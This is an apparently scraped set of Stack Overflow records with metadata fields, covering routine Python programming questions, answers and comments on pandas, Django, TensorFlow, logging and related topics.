upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/49567235
has comment: http://stackoverflow.com/comment/108206605
has comment: http://stackoverflow.com/comment/86156734
type: AcceptedAnswer

http://stackoverflow.com/a/49663395
answers question: http://stackoverflow.com/q/49458905
has body: I met the same problem recently. Somehow the the FCN-8 code can run successfully on my tensorflow1.2+keras2.0.9+8G RAM +1060 computer, but occurred memory error when using modelcheckpoint on my tf1.4+keras2.1.5+16g ram +1080ti computer.
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/85996821
comment on: http://stackoverflow.com/q/49496398
score: 0
type: Comment
type: QuestionComment
has text: Have you tried reading in a local copy of bootstrap css and adding it manually as a giant string? Not saying it's efficient, but it would be a good troubleshooting step. I can't find documentation that indicates that external css files are directly supported. http://weasyprint.readthedocs.io/en/latest/tutorial.html#instantiating-html-and-css-objects

http://stackoverflow.com/a/49568053
has body: If you've got excel, the easy way is to create a list on a tab (name the tab List). Create a new tab called retrieve and in a cell of that tab, enter the following formula. I assume you have 250 words. If you don't, change the number 250 to your number of words in both spots where it occurs. =index(List!A1:A250,randbetween(1,250)) Everytime you hit the F9 key, you will get a fresh word, though this method doesn't guarantee no repeats.
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/49567998
score: 1
downvote count: 1

http://stackoverflow.com/a/49502868
has comment: http://stackoverflow.com/comment/86044105
type: Answer
has comment: http://stackoverflow.com/comment/86044315
accepted answer of: http://stackoverflow.com/q/49502599
has body: \x1b is the Escape character (which can also be written as \e in a string), and ESC [ &lt;number&gt; m is the escape sequence for changing various text modes (bold, underline, color, etc.). print prints control characters as they are, rather than trying to display them as escape sequences, so you don't see them in the output, they have their desired effect on the terminal. You can read about these escape sequences in the Wikipedia page on ANSI Escape Sequences. If you want to set a variable to the representation that shows with escape sequences, use the repr() function: y = repr(x) print y
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86044902
answers question: http://stackoverflow.com/q/49502599
downvote count: 0
has comment: http://stackoverflow.com/comment/86043881
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86044755
has comment: http://stackoverflow.com/comment/86045085

http://stackoverflow.com/comment/86201144
type: Comment
type: AnswerComment
has text: Amazing - did not knew that, that was exactly what i missed. Thank you!
comment on: http://stackoverflow.com/a/49596894
score: 1

http://stackoverflow.com/comment/117893337
type: AnswerComment
has text: Oops... Still failed since `Pipeline` does not support `sample_weight` in `fit`. I also tried to add a class wrapper over it, which modify the fit function like `def fit(self, X, y, **fit_params): w = X[:,0] self.nX = X.shape[1]-1 return self.wrapped_estimator.fit(X[:,1:], y, sample_weight=w)`However, it's a local object and cannot pickle when trying to speed up by parallel....
score: 0
type: Comment
comment on: http://stackoverflow.com/a/66689837

http://stackoverflow.com/comment/85981364
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49489308
score: 0
has text: ya i want to use .ipynb code in .py.

http://stackoverflow.com/a/49462541
has comment: http://stackoverflow.com/comment/85927907
has comment: http://stackoverflow.com/comment/85933095
type: Answer
has comment: http://stackoverflow.com/comment/85927893
downvote count: 0
has body: Use isin In [523]: df[df['a'].isin(members)] Out[523]: a b 0 [20, 21] 22 Or, query In [530]: df.query('a in @members') Out[530]: a b 0 [20, 21] 22 Or, apply in In [524]: df[df['a'].apply(lambda x: x in members)] Out[524]: a b 0 [20, 21] 22 Or, list comprehension In [536]: df[[x in members for x in df['a']]] Out[536]: a b 0 [20, 21] 22 Details In [525]: df Out[525]: a b 0 [20, 21] 22 1 [22, 19] 13 2 [30, 27] 7 In [526]: members Out[526]: [[20, 21], [18, 21], [15, 18]] In [527]: pd.__version__ Out[527]: '0.23.0.dev0+60.ge09189e'
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85927836
answers question: http://stackoverflow.com/q/49462455
has comment: http://stackoverflow.com/comment/85927877
has comment: http://stackoverflow.com/comment/85927857
has comment: http://stackoverflow.com/comment/85928260

http://stackoverflow.com/q/49500480
linked to: http://stackoverflow.com/q/33072570
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86005590
has title: How to determine main program vs class
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86005240
has comment: http://stackoverflow.com/comment/86006667
tagged with: python
duplicate of: http://stackoverflow.com/q/33072570
has body: I am writing a program using Python 3.6. The code reads words from a file, chooses random coordinates on a grid and places the words on it. I have a single class instance that I use to create the plot. I can do the bulk of my code inside the main program using the class as a helper, or I can do the bulk of the code inside the class object itself. How does one determine which code should be in the main program and which should be inside the class object?
has comment: http://stackoverflow.com/comment/86007882
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86005080

http://stackoverflow.com/comment/85940164
has text: both are different jsons right?
comment on: http://stackoverflow.com/q/49468736
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86020046
has text: Thanks, I'll start passing some values in to check the original functions for inputs causing this problem.
type: Comment
comment on: http://stackoverflow.com/a/49506813
type: AnswerComment
score: 0

http://stackoverflow.com/comment/85884859
comment on: http://stackoverflow.com/q/49441090
type: Comment
type: QuestionComment
has text: it should be `def test_mockscrapper(self, mock_read)` to me under `@patch` line, as long as you have control over the which file your read, it is great!
score: 0

http://stackoverflow.com/a/60197939
type: Answer
has body: Add encoding in the open statement For example: f=open("filename.txt","r",encoding='utf-8')
answers question: http://stackoverflow.com/q/49562499
score: 93
downvote count: 0
upvote count: 93
has comment: http://stackoverflow.com/comment/138031013

http://stackoverflow.com/q/49493911
accepted answer: http://stackoverflow.com/a/49501740
has body: I'm new to using Pandas and I'm currently trying to clean up one of my dataframes so I can merge/join with another dataframe based on a shared ID. The problem is that one of my dataframes has multiple ID columns that may both include lists of IDs, all of which are valid. I am trying to put each ID on a unique row line to make the merging process easier. Here is what my data may look like: import pandas as pd import numpy as np data = pd.DataFrame({"Name":["Bob", "Mary"], "Age":[50,55],"ID1":["1,2",np.NaN],"ID2":["1,3","4,5,6"]}) Age ID1 ID2 Name 0 50 1,2 1,3 Bob 1 55 NaN 4,5,6 Mary This is what I would like the output to be (unless there is an easier way to set this dataframe up for merging with another dataframe based on ID). dataFixed = pd.DataFrame({"Name":["Bob", "Bob", "Bob","Mary","Mary","Mary"], "Age":[50,50,50,55,55,55],"ID":["1,2","3","4","5","6"]}) Age ID Name 0 50 1 Bob 1 50 2 Bob 2 50 3 Bob 3 55 4 Mary 4 55 5 Mary 5 55 6 Mary My initial thought was to combine each of the ID strings by making them into lists of IDs rather than comma separated strings, and creating a set of IDs as a single column as my starting point. But I can't even get to that point as I am getting a "unhashable type: 'list'" error. This is some of the code from my initial efforts: data["ID1"] = data["ID1"].str.split(",") data["ID2"] = data["ID2"].str.split(",") data["ID"] = data"ID1", "ID2".apply(lambda x: ",".join(sorted(set(x), key=str)))
linked to: http://stackoverflow.com/q/32468402
has answer: http://stackoverflow.com/a/49501740
tagged with: python
has title: Combining two lists of identifiers into a single column with Pandas
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49494238
answer count: 2
score: 0
has answer: http://stackoverflow.com/a/49494238
type: Question
tagged with: pandas

http://stackoverflow.com/a/49499490
has body: You can use this: df['RA'] = df['RA'].str.split(' ').str[0] + 'h' + df['RA'].str.split(' ').str[1] + 'm' + df['RA'].str.split(' ').str[2]+ 's' df['DEC'] = df['DEC'].str.split(' ').str[0] + 'd' + df['DEC'].str.split(' ').str[1] + 'm' + df['DEC'].str.split(' ').str[2]+ 's' Output: DEC RA 0 +26d01m09.559s 11h50m10.4747s 1 +26d01m10.770s 11h50m10.2641s 2 +26d01m11.980s 11h50m10.0534s 3 +26d01m13.191s 11h50m09.8428s
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49499352

http://stackoverflow.com/comment/86102655
score: 0
comment on: http://stackoverflow.com/q/49547478
has text: I'm not sure what to do, because Huffman coding takes bit-by-bit. Computer programs, however, handle memory byte-by-byte.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86180439
comment on: http://stackoverflow.com/a/49586277
score: 1
type: Comment
type: AnswerComment
has text: @Hadij, this is the "simple and straghtforward function", you need to pass him the iterable collection. The fact that you got blocked in the TypeError is that you did no read enough about it.

http://stackoverflow.com/comment/86186748
type: Comment
type: QuestionComment
score: 0
has text: I did that also. No improvement. I'm getting only the last string not the complete iteration
comment on: http://stackoverflow.com/q/49589377

http://stackoverflow.com/comment/86187357
type: QuestionComment
has text: @pythonic833 Could you explain what you mean by sample data before splitting in training and testdata? Were you referring to stratified sampling? From the original dataset which contains everything, I split that data into 80% training and 20% testing. Was this the right thing to do?
score: 0
comment on: http://stackoverflow.com/q/49584705
type: Comment

http://stackoverflow.com/comment/85963092
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49479913
type: Comment
has text: Oh, and what is `s`? If its a python string, then its always utf-8 encodable.

http://stackoverflow.com/q/49575909
type: UnansweredQuestion
tagged with: python
has title: Is there a way to reverse a graph in TensorFlow?
answer count: 2
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/49576555
tagged with: tensorflow
favorite count: 0
has answer: http://stackoverflow.com/a/49609216
type: Question
has body: As the title says, I'm looking for a way to reverse the flow of a TensorFlow graph. The reason for this, is that I want to visualize the hidden layers of the graph given a logit vector for the output of the trained graph. For example, say that I have a fully connected graph given as follows (inspired by MNIST): inputs = tf.placeholder(dtype=tf.float32, shape=[None, 784]) hidden_w1 = tf.get_variable('w1', [784,100], initializer=tf.random_normal_initializer) hidden_b1 = tf.get_variable('b1', [100], initializer=tf.random_normal_initializer) a1 = tf.matmul(inputs, hidden_w1) + hidden_b1 z1 = tf.nn.relu(a1) hidden_w2 = tf.get_variable('w2', [100,100], initializer=tf.random_normal_initializer) hidden_b2 = tf.get_variable('b2', [100], initializer=tf.random_normal_initializer) a2 = tf.matmul(z1, hidden_w2) + hidden_b2 z2 = tf.nn.relu(a2) output_w = tf.get_variable('w3', [100,10], initializer=tf.random_normal_initializer) output_b = tf.get_variable('b3', [10], initializer=tf.random_normal_initializer) a3 = tf.matmul(z2, output_w) + output_b output = tf.nn.relu(a3) loss = tf.nn.softmax_cross_entropy_with_logits_v2(labels=..., logits=output) train_op = tf.train.AdamOptimizer().minimize(loss) Suppose I now train this graph and want to visualize hidden 1 when only the first output neuron is activated. The way I would do this would be to reverse the flow of the graph and feed a tensor [1, 0, 0, 0, 0, 0, 0, 0, 0, 0] from the output layer back through the reversed graph until I finally got the output of the hidden1 layer. I have tried to see if there is a way to do this in TensorFlow, but there seems to be little information about this. The way I would inutitively construct it is to add an operation sess.run_reverse() when running the graph as follows: with tf.Session() as sess: while training: sess.run(train_op, feed_dict={inputs:...}) # finished training, reverse graph category_to_visualize = tf.one_hot(indices=0, depth=10) sess.run_reverse(hidden1, feed_dict={output:category_to_…

http://stackoverflow.com/comment/86196778
type: Comment
type: AnswerComment
has text: Yes sorry! I should have been more specific, the main problem I'm having is capturing the output from the subprocess call. Since posting this, I have imported subprocess library, and then made a call to subprocess.run(command, shell=True), and then stored that into a variable. However, now the variable is just holding an instance of a class, I need it to hold an instance of the JSON data.
comment on: http://stackoverflow.com/a/49594651
score: 0

http://stackoverflow.com/a/49523000
score: -1
has comment: http://stackoverflow.com/comment/86067090
upvote count: 0
downvote count: 1
has body: I'm no expert but I would say that your speed is pretty slow. I just went to google, typed in the word "hats", pressed enter and: about 650,000,000 results (0.63 seconds). That's gonna be tough to compete with. I'd say that there's plenty of room to improve.
has comment: http://stackoverflow.com/comment/86313676
answers question: http://stackoverflow.com/q/49494093
type: Answer

http://stackoverflow.com/comment/85956507
type: QuestionComment
has text: Thanks, @AbdealiJK for your suggestions!
comment on: http://stackoverflow.com/q/49476554
score: 0
type: Comment

lxml
tags question: http://stackoverflow.com/q/49591782
tags question: http://stackoverflow.com/q/49500162
tags question: http://stackoverflow.com/q/49495230
tags question: http://stackoverflow.com/q/49575005
tags question: http://stackoverflow.com/q/49592890
type: Tag
tags question: http://stackoverflow.com/q/49517304
tag name: lxml
tags question: http://stackoverflow.com/q/49473862
tags question: http://stackoverflow.com/q/49502544
tags question: http://stackoverflow.com/q/49488771
tags question: http://stackoverflow.com/q/49591394
tags question: http://stackoverflow.com/q/49478875
tags question: http://stackoverflow.com/q/49475102
tags question: http://stackoverflow.com/q/49596913

http://stackoverflow.com/comment/86095152
comment on: http://stackoverflow.com/q/49539607
has text: could you elaborate on the not resolving symlinks part. A detailed answer to that would depend on OS an possibly the specific filesystem in use.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85962722
comment on: http://stackoverflow.com/a/49476370
score: 0
has text: @Vishal K Nair if it has a decorator `@property` then it can't be used as method, but instead as a property, thus it would be `SomeClass().method` assuming it has `@property` decorator and in `CheckResult` you'd use `self.expr` only without parentheses. And, I think you might need some extra lines of code to the `__call__` method to check whether a method is indeed a method or it is a property.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85906468
type: Comment
comment on: http://stackoverflow.com/q/49451736
type: QuestionComment
has text: @whp, EDIT: it works!
score: 0

http://stackoverflow.com/q/49538582
has comment: http://stackoverflow.com/comment/86084790
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86085323
has title: Pandas Dataframe Tuples Index isin: Buffer has wrong number of dimensions (expected 1, got 2)
has comment: http://stackoverflow.com/comment/86084881
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/86084454
has comment: http://stackoverflow.com/comment/86084720
tagged with: pandas
has body: I have a dataframe that uses tuples for the index (edges for a graph), and I want to filter this first dataframe by a set of tuples (edges from a second graph). I am trying to use the 'isin' method to filter the indexes of the first graph by a set of tuples from the second graph: import pandas as pd index1 = ['a', 'b', 'c', 'd', 'e'] index2 = [1, 2, 3, 4, 5] graph1_edges = list(zip(index1, index2)) attributes= ['apple', 'banana', 'pumkin', 'spice', 'sugar'] df_graph1 = pd.DataFrame(attributes, index=graph1_edges, columns=['Ingredients']) graph2_edges = set([('a',1), ('c',3), ('e', 5), ('t',10)]) # Problem Code df_graph1[df_graph1.index.isin(graph2_edges)] I am expecting to return the df_graph1 with only ('a',1), ('c',3), ('e',5) index rows. Instead I get this: --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-194-116c5e1e0cec&gt; in &lt;module&gt;() 9 shopping_key = set([('a',1), ('c',3), ('e', 5), ('t',10)]) 10 ---&gt; 11 df.index.isin(shopping_key) C:\Users\joshu\Anaconda3\lib\site-packages\pandas\core\indexes\base.py in isin(self, values, level) 2766 if level is not None: 2767 self._validate_index_level(level) -&gt; 2768 return algos.isin(np.array(self), values) 2769 2770 def _can_reindex(self, indexer): C:\Users\joshu\Anaconda3\lib\site-packages\pandas\core\algorithms.py in isin(comps, values) 419 comps = comps.astype(object) 420 --&gt; 421 return f(comps, values) 422 423 C:\Users\joshu\Anaconda3\lib\site-packages\pandas\core\algorithms.py in &lt;lambda&gt;(x, y) 397 # work-around for numpy &lt; 1.8 and comparisions on py3 398 # faster for larger cases to use np.in1d --&gt; 399 f = lambda x, y: htable.ismember_object(x, values) 400 if (_np_version_under1p8 and compat.PY3) or len(comps) &gt; 1000000: 401 f = lambda x, y: np.in1d(x, y) pandas\_libs\hashtable_func_helper.pxi in pandas._libs.hashtable.ismember_object (pandas\_libs\hashtable.c:29677)() ValueError: Buffer has wron…
has comment: http://stackoverflow.com/comment/86085734
has comment: http://stackoverflow.com/comment/86085421
type: Question
tagged with: graph
answer count: 0

http://stackoverflow.com/comment/86010062
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49502661
type: Comment
has text: Thanks! Actually I can print out the text results... So is this the case? Anyway I'm learning Selenium now. Hope I can figure this out soon.

http://stackoverflow.com/comment/85894987
type: Comment
comment on: http://stackoverflow.com/q/49446661
score: 0
has text: Try `patt = r'\S+\.(?:png|jpe?g|gif|bmp|mp4|avi|flv)\b'`. Check [this Python demo](https://ideone.com/68eyG0) for the result - is it the expected result?
type: QuestionComment

http://stackoverflow.com/comment/86024788
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49493354
has text: try to add `coerce=int` in your `SelectField` as in: `SelectField("Lastname", coerce=int , choices=get_choices())`

http://stackoverflow.com/a/49504739
type: Answer
accepted answer of: http://stackoverflow.com/q/49504680
downvote count: 0
upvote count: 1
type: AcceptedAnswer
has body: I don't know what youve tried.. but this should be fairly to implement for you? The askdirectory() function WILL output a string when used.. So I'm unsure what you have done to get it returning something different. As far as opening files with glob, could you provide an example of what you want with this? And I may be able to help. Show some code you have tried maybe? from tkinter import filedialog dir_choice = filedialog.askdirectory() The above code will store the directory that the user selected. For example, you could do the following: print(dir_choice) and the output would be something like: C:/lorem/ipsum/somedirectory EDIT I answered before you updated your question, but simply using what you already have and doing print(path) would work, you don't need the extra two lines. path = askdirectory()
has comment: http://stackoverflow.com/comment/86013818
has comment: http://stackoverflow.com/comment/86046394
score: 1
answers question: http://stackoverflow.com/q/49504680

http://stackoverflow.com/comment/86124466
type: QuestionComment
score: 5
has text: `model.layers[-8]` acceses the element at position -8 and does not create a slice. You probably meant something like `model.layers[:-8]`
comment on: http://stackoverflow.com/q/49558342
type: Comment

http://stackoverflow.com/q/49442501
possible better answer: http://stackoverflow.com/a/49442567
tagged with: django
tagged with: django-staticfiles
has answer: http://stackoverflow.com/a/49442567
favorite count: 0
accepted answer: http://stackoverflow.com/a/49442796
has title: static files not found error in django
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/49442796
tagged with: python
type: Question
answer count: 3
has body: I know that this problem has already been asked several times here. I have searched and read a number of answers but no help. I guess, I am missing something very basic. In my settings.py, I have: STATIC_URL = '/static/' STATIC_ROOT = join(APPS_DIR, "static/") # STATICFILES_DIRS = [join(APPS_DIR, 'static')] MEDIA_ROOT = join(APPS_DIR, 'media') MEDIA_URL = "/media/" In my config/urls.py, I have: if settings.DEBUG: urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) I have a file located at /static/core/js/jquery_countdown/jquery.countdown.min.js which I am trying to load in template as below: &lt;script src="https://code.jquery.com/jquery-3.3.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="{% static 'core/js/jquery_countdown/jquery.countdown.min.js' %}"&gt; &lt;/script&gt; The top of the same template looks like {% extends "contest/base.html" %} {% load static %} This results in following server error: [23/Mar/2018 10:12:08] "GET /static/core/js/jquery_countdown/jquery.countdown.min.js HTTP/1.1" 404 1858 What am I missing?
has answer: http://stackoverflow.com/a/74837776
upvote count: 3
downvote count: 0

http://stackoverflow.com/q/49541152
tagged with: list-comprehension
type: Question
possible better answer: http://stackoverflow.com/a/49541389
answer count: 2
has title: Nested addition of attributes (NetworkX) / dictionary comprehension
tagged with: dictionary-comprehension
has answer: http://stackoverflow.com/a/49541389
accepted answer: http://stackoverflow.com/a/49541525
tagged with: networkx
has body: Hoping this title is not too unclear, I'd like to add do a nested dictionary comprehension, with the underlying goal of adding node attributes i NetworkX using loops, with output similar to this: [('x1', {'a': 0}, {'b': 5}, {'c': 10} ), ('x2', {'a': 1}, {'b': 6}, {'c': 11} ), ...] What I thought might work: a = [ ( 'x%d' % h, {'1st': i}, {'2nd': j}, {'3rd': k} ) for h in range(1,17), for i in range(0,6), for j in range(5,11), for k in range(10,16) ] But this returned "SyntaxError: invalid syntax". EDIT: I will ask the previously mentioned second part in a separate question - thanks so far!
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49541525
tagged with: python

http://stackoverflow.com/comment/86040845
has text: i used a loop, no solution. TypeError: can only concatenate list (not "int") to list. Can you show me an example with the code above?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49515980
type: AnswerComment

http://stackoverflow.com/comment/86128700
has text: thanks a lot. can you offer me reference for learning more about exhausted iterator
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49560091
type: Comment

http://stackoverflow.com/a/49592706
has comment: http://stackoverflow.com/comment/86197949
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49589974
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86197629
answers question: http://stackoverflow.com/q/49589974
has body: I would advise this if you plan to use R: https://cran.r-project.org/web/packages/udpipe/vignettes/udpipe-usecase-postagging-lemmatisation.html

http://stackoverflow.com/q/49597661
score: 0
tagged with: django-templates
accepted answer: http://stackoverflow.com/a/49597783
answer count: 1
has answer: http://stackoverflow.com/a/49597783
has comment: http://stackoverflow.com/comment/86202770
type: Question
has comment: http://stackoverflow.com/comment/86202642
has title: How to embed Python list as it is in Django template?
tagged with: django
tagged with: python
has body: There is a Django template in my web app which has a JavaScript section in it. chart.html {% block footer_javascript_section %}&lt;script type="text/javascript" &gt; g = new Dygraph( // containing div document.getElementById("graphdiv"), // CSV or path to a CSV file. "{{ biogas_plant_str }}", {width: 1000, height: 400, labels: {{biogas_plant_list}} } /* &lt;---- THIS list */ ); &lt;/script&gt; {% endblock footer_javascript_section %} I've passed in a Python list in the context of the chart view function.The list is referred by biogas_plant_list. The issue I need to embed the Python list as it is, without splitting or iterating over it. Other questions similar to this one, required the list to be handled in some way. A list has to be output after substitution. ['s1','s2'] However template substitutes the HTML character entities instead of the actual decoded characters. How to turn it off? [&amp;#39;&amp;quot;25.7\\n&amp;quot;&amp;#39;, &amp;#39;&amp;quot;26.3\\n&amp;quot;&amp;#39; ]
type: AnsweredQuestion

http://stackoverflow.com/a/49745404
has comment: http://stackoverflow.com/comment/86513994
answers question: http://stackoverflow.com/q/49510417
downvote count: 0
type: AcceptedAnswer
score: 4
has comment: http://stackoverflow.com/comment/86521055
has body: I want to change the log-level temporarily. A way to do this without mocking is logging.disable class TestSomething(unittest.TestCase): def setUp(self): logging.disable(logging.WARNING) def tearDown(self): logging.disable(logging.NOTSET) This example would only show messages of level WARNING and above for each test in the TestSomething class. (You call disable at the start and end of each test as needed. This seems a bit cleaner.) To unset this temporary throttling, call logging.disable(logging.NOTSET): If logging.disable(logging.NOTSET) is called, it effectively removes this overriding level, so that logging output again depends on the effective levels of individual loggers.
has comment: http://stackoverflow.com/comment/86508835
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/49510417

http://stackoverflow.com/comment/86116549
comment on: http://stackoverflow.com/q/49554622
type: Comment
has text: Please submit the actual lines you entered and format the code properly (using four spaces, as recommended by Stack here https://stackoverflow.com/editing-help)
type: QuestionComment
score: 1

http://stackoverflow.com/a/65122081
upvote count: 1
type: Answer
has body: everything that is not protected by if __name__ == '__main__': will be run by every mpi rank.
score: 1
answers question: http://stackoverflow.com/q/49514975
downvote count: 0

http://stackoverflow.com/comment/85987906
score: 1
comment on: http://stackoverflow.com/q/49491942
has text: Change `color=None` to `color="None"`
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49482713
type: Answer
has body: There are several ways to solve this problem. In real-world applications it's rare (that is, actually never occurs) that you need to solve a problem once for a single image. If you have additional images it would be nice to see how much the object of interest varies. One method to find corners is the convex hull. This method is more generally used to find a convex shape encompassing scattered points, but it's worth knowing about and implementing. https://en.wikipedia.org/wiki/Convex_hull What's handy about the convex hull is that the concept of a "corner" (a vertex on the convex hull polygon) is easy to grasp and doesn't rely on parameter settings. You don't have to consider whether a corner is sharp enough, strong enough, pointy enough, unique in its neighborhood, etc.--the convex hull will simply make sense to you. You should be able to write a functional version of a convex hull "gift wrapping" algorithm in a reasonable period of time. https://en.wikipedia.org/wiki/Gift_wrapping_algorithm There are many ways to compute the convex hull, but don't get lost in all the different methods. Choose one that makes sense to you and implement it. The fastest known method may still be Seidel, but don't even think about running down that rabbit hole. Simple is good. Before you compute the convex hull, you'll need to reduce your white shape to edge points; otherwise the hull algorithm will check far too many points. Reducing the number of points to be considered can be done using edge-finding on the connected component (the white "blob"), edge-finding without first segmenting foreground from background, or any of various simple kernels (e.g. Sobel). Although the algorithm is called the "convex" hull, your shape doesn't have to be convex, especially if you're only interested in the top and bottom vertices/corners as shown in your sample image. Corner finders can be a bit disappointing, frankly, especially since the name implies, "Hey, it'll just find corners all the time." Ther…
upvote count: 3
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49478432
score: 3
accepted answer of: http://stackoverflow.com/q/49478432

http://stackoverflow.com/a/49515065
upvote count: 1
answers question: http://stackoverflow.com/q/49511956
has comment: http://stackoverflow.com/comment/86061359
score: 1
downvote count: 0
has body: If I have correctly understood your requirements, the usually evil eval could help here. It is generally frowned upon because executing arbitrary code is unsafe, but not more unsafe than loading an arbitrary script. So assuming that you were able to read a file and comment and comment all import statements and that you have the resulting script in a string script_str, you could simply do: glob = {} # or glob = globals() if you want current globals to be accessible loc = {} exec(script_str, glob, loc) vars = { key:loc[key] for key in loc if not key.startswith('_') } The problem is that commenting some lines from a script may result in an incorrect script or could give wrong results. Example: from os import SEEK_END how = SEEK_END It should result in { "how": 2 }. Unfortunately without commenting the import, you will get {'SEEK_END': 2, 'how': 2}, but after commenting, the exec call will raise an exception NameError: name 'SEEK_END' is not defined. My opinion is that fixing it for the most general case will be hard...
accepted answer of: http://stackoverflow.com/q/49511956
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/49546241
has comment: http://stackoverflow.com/comment/86100146
has comment: http://stackoverflow.com/comment/86286419
tagged with: python
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/86101735
type: Question
upvote count: 2
tagged with: igraph
score: 2
has title: Recompute maxflow efficiently
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86245662
has body: Can anyone please recommend a way to efficiently recompute maxflow in the flow network if one edge of capacity one is deleted? Theoretically, I know the linear time algorithm, but how to do it really fast in python? I use igraph package to compute maxflow. I think that if I just delete the edge from graph and call g.maxflow(), then it will start from scratch. I would be happy even if there is a nice way to do it in C.
favorite count: 0
tagged with: max-flow
tagged with: algorithm

http://stackoverflow.com/a/49559984
type: Answer
has comment: http://stackoverflow.com/comment/86133134
score: 4
has comment: http://stackoverflow.com/comment/86131825
downvote count: 0
has body: A much faster alternative would be to use itemgetter with defaultdict (because itemgetter doesn't support a default value like dict.get in case the key doesn't exist) from collections import defaultdict from timeit import Timer from operator import itemgetter d = defaultdict(lambda: None) d[1] = 'a' keys = [1 for _ in range(1000)] def _map(): return list(map(d.get, keys)) def _getter(): return list(itemgetter(*keys)(d)) print(min(Timer(_map).repeat(100, 100))) print(min(Timer(_getter).repeat(100, 100))) # 0.0074976040767260055 # 0.0021861597102568187 Edit Added timings for non-existing keys (integers and strings). No significant impact on the performance. from collections import defaultdict from timeit import Timer from operator import itemgetter d = defaultdict(lambda: None) d[1] = 'a' non_existing_keys_int = [2 for _ in range(1000)] non_existing_keys_string = ['a' for _ in range(1000)] def get_non_existing_keys_int(): return list(itemgetter(*non_existing_keys_int)(d)) def get_non_existing_keys_string(): return list(itemgetter(*non_existing_keys_string)(d)) print(min(Timer(get_non_existing_keys_int).repeat(100, 100))) print(min(Timer(get_non_existing_keys_string).repeat(100, 100))) # 0.002647169132724954 # 0.002408539023506795
answers question: http://stackoverflow.com/q/49555779
upvote count: 4

http://stackoverflow.com/q/49480211
answer count: 1
type: Question
has title: Creating a new entry using the Django admin interfaces replaces previous entry
has body: I have a model in Django that looks like this: class Video(models.Model): id = models.CharField(primary_key=True, default=uuid.uuid4().hex[:8], editable=False, max_length=8) title = models.TextField(max_length=100, help_text='Insert video title here', verbose_name='Title') I have a superuser that can create new Videos. I go into the admin view and create a new Video. Lets say I create a Video titled "Video 1". It shows up correctly. Then, if I create another video called Video 2, I can only see Video 2 in the list of Videos. I looked at the history of Video 2, and here is what it said: March 25, 2018, 3:37 p.m. superuser Added. March 25, 2018, 3:37 p.m. superuser Changed title. Which means that Video 1 is just being updated to Video 2. However, if I restart my server, I'm able to see Video 2, and then I'm able to create a different Video. But then the problem persists with this new video. The way I understand it is that with each server session, I'm only allowed to create a single entry.
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/85963662
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49480424
accepted answer: http://stackoverflow.com/a/49480424

http://stackoverflow.com/q/49475889
answer count: 2
has comment: http://stackoverflow.com/comment/85954366
accepted answer: http://stackoverflow.com/a/49476370
tagged with: python
has title: Passing a method argument to a class
has answer: http://stackoverflow.com/a/49476370
has comment: http://stackoverflow.com/comment/85954265
tagged with: class
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49475971
tagged with: oop
score: 0
has answer: http://stackoverflow.com/a/49475971
has comment: http://stackoverflow.com/comment/85954991
has comment: http://stackoverflow.com/comment/85954560
has body: I have the following callable: class SomeClass(object): def __init__(self, expr, return_status): self._expr = expr self._status = return_status def __call__(self): if self._expr == self._status: return True def __str__(self): return ("Function: %s\n Return Status: %s\n" % (self.__class__.__name__, self._status)) The problem I am facing is this that whenever I try to pass an expression like: some_variable = SomeFunction(SomeClass.some_method,return_status=True) SomeClass.some_method gets evaluated and gets stored in self._expr as a boolean value. What I actually want is this expression (SomeClass.some_method) be stored in self._expr and get evaluated each time the __call__(self) method is called. Am I making sense? Let's say I am taking the following example: def addition(c,b): print "'addition' function called!\n" sum = c+b if sum&gt;5: return True else: return False script_timeout = 3 some_variable = SomeFunction(addition(1,2),return_status=True) print "some_variable: \n%s" %some_variable some_class.some_method(some_variable, script_timeout, 1) This gives me the following output: 'addition' function called! SomeFunction (_init_) function called! expr: False self._expr = False and self._status = True SomeFunction (_str_) function called! self.__class__.__name__ = SomeFunction and self._expr = False monitor: Function: SomeFunction Return Status of the Expression: True SomeFunction (_call_) function called! self._expr = False and self._status = True SomeFunction (_call_) function called! self._expr = False and self._status = True SomeFunction (_call_) 